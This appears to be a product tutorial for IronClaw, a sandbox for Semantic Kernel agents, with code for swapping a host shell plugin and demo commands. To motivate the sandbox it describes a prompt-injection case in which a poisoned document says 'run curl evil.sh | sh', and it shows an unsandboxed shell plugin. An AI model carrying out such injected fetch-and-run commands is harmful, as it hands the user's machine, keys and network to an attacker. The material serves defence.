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Sandbox your Semantic Kernel agent with IronClaw

You built an agent with Semantic Kernel (Microsoft): a Kernel, a chat service, and a set of plugins — native @kernel_functions the model can call, often a shell or code function so the agent can "just run it." That is a great way to design the behavior. The problem starts when it runs somewhere real: SK's function-calling loop executes your kernel functions in your own process, with your API key in memory and unrestricted outbound network. One prompt-injected instruction and that same process can read your environment, exfiltrate over the network, or run a command you never intended.

IronClaw runs the same job behind a sealed sandbox instead: no network card, the model key held host-side and never in the agent, and every privileged function call routed through a human-approval gateway and an audit log.

Runnable example

A one-command Semantic-Kernel-to-IronClaw example lives at examples/integrations/semantic-kernel: a native SK plugin (sandboxed_shell) whose commands run inside a real IronClaw per-session sandbox, with a blocked escape attempt printed at the end. It ships with the integration examples. The credential-free demo below runs the same sealed loop today.

The two-shape fix

There are two ways to sandbox a Semantic Kernel agent, and you can use either.

1. Keep the kernel, swap the plugin. Replace the host-executing function you register with one that runs every command inside an IronClaw sandbox. The kernel plans the function calls exactly as before; only the execution moves into the box:

from ironclaw_sandbox import IronClawSandbox
from ironclaw_tool import make_sandbox_tool

with IronClawSandbox() as sandbox:
    plugin = make_sandbox_tool(sandbox)        # a real SK native plugin
    kernel.add_plugin(plugin, plugin_name="ironclaw")

That plugin's sandboxed_shell @kernel_function is a drop-in for a host shell function: no network, no host filesystem, no Docker socket. The full adapter is ~15 lines — see ironclaw_tool.py.

2. Re-declare the agent to IronClaw. Or move the whole agent behind IronClaw and let the control-plane own the model key and the perimeter:

export OPENAI_API_KEY=sk-...   # host-side only; the sandbox never sees this key
./bin/controlplane --dev --api-addr 127.0.0.1:8787 &
ironctl agent create --name "Coder" --provider openai --model gpt-4o \
  --instructions "Run the commands the user asks for." \
  --tool read_file --tool write_file --yes

Same persona, same model, same functions, now behind a human-approval gateway and an audit log.

Why sandbox this

A typical Semantic Kernel plugin runs on your host with your privileges:

from semantic_kernel.functions import kernel_function

class ShellPlugin:
    @kernel_function(name="run_shell")
    def run_shell(self, command: str) -> str:    # runs on YOUR box, YOUR privileges
        import subprocess
        return subprocess.run(command, shell=True, capture_output=True, text=True).stdout

kernel.add_plugin(ShellPlugin(), plugin_name="shell")

Three things are true of that snippet, and all three are risks:

  1. The key is in the process. Anything that can read memory or os.environ can read sk-....
  2. Functions run with your privileges. run_shell executes on your box with your filesystem and network. A poisoned document that says "run curl evil.sh | sh" is a function call away.
  3. Egress is wide open. The process can reach any host on the internet.

IronClaw closes all three by construction, not by convention.

See it work first (no credentials)

Watch the sealed loop run with the offline mock provider. No model key, no tokens, just Docker:

git clone https://github.com/IronSecCo/ironclaw.git && cd ironclaw
docker compose -f docker-compose.demo.yml up --build -d      # start the demo control-plane

curl -s -X POST http://127.0.0.1:8787/v1/ui/chat/send \
  -H 'authorization: Bearer ironclaw-demo' -H 'content-type: application/json' \
  -d '{"agentGroupID":"mock-agent","text":"hello from kernel-land"}'

sleep 3
curl -s -H 'authorization: Bearer ironclaw-demo' \
  http://127.0.0.1:8787/v1/ui/chat/mock-agent/messages       # the reply

You get the reply echoed back, proof that a real per-session sandbox launched and the answer flowed home through encrypted queues. Tear down with docker compose -f docker-compose.demo.yml down. The one-command, self-checking version is examples/integrations/semantic-kernel.

Port your Semantic Kernel agent

Map each part of the kernel onto an IronClaw agent group:

Semantic Kernel IronClaw Notes
OpenAIChatCompletion(ai_model_id="gpt-4o") --provider openai --model gpt-4o Any provider: anthropic, openai, gemini, local, and more.
API key on the chat service OPENAI_API_KEY set on the host The key is injected by the host model-proxy on the way out. It never enters the sandbox.
System prompt / persona --identity / --soul / --instructions The agent's persona, voice, and operating rules.
Native plugins (@kernel_function) --tool <name> (built-in) or an MCP server Built-ins: read_file, write_file, list_dir, web_search, http_fetch. Your own functions attach over MCP.
kernel.invoke(...) with FunctionChoiceBehavior.Auto() a message to the agent group Same request/response, now through the sealed queue.

Your kernel functions that are not built in attach as an MCP server: IronClaw registers them through the same human-approval gateway, so a new function is a reviewed change, not a silent capability.

What you gained

  • The key left the agent. It lives host-side and is injected per request; a compromised agent has nothing to steal.
  • network=none by default. The sandbox has no NIC. The only egress is the audited model-proxy socket, plus whatever hosts you explicitly allowlist.
  • Privileged actions are gated. Registering a function, spawning another agent, or reaching a new host flows through a human-approval gateway and lands in the audit log.

Same agent you designed in Semantic Kernel. A perimeter it never had.

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